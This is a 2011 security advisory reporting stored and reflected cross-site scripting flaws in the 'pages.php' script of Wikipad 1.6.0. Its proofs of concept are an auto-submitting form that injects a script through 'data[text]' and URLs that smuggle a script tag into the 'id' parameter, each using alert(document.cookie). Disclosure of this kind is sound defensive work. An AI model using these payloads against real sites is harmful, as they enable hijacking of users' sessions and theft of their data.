Vulnerability ID: HTB22826 Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_wikipad.html Product: Wikipad Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ ) Vulnerable Version: 1.6.0 Vendor Notification: 01 February 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "pages.php" script to properly sanitize user-supplied input in "data[text]", "id" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. Stored XSS: <form action="http://host/pages.php?action=edit&id=index&title=index"; method="post" name="main"> <input type="hidden" name="data[text]" value='text"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script> 2. Cross-Site Scripting: http://host/pages.php?id=index";><script>alert(document.cookie)</script> http://host/pages.php?action=edit&id=27-01-2011";><script>alert(document.cookie)</script>
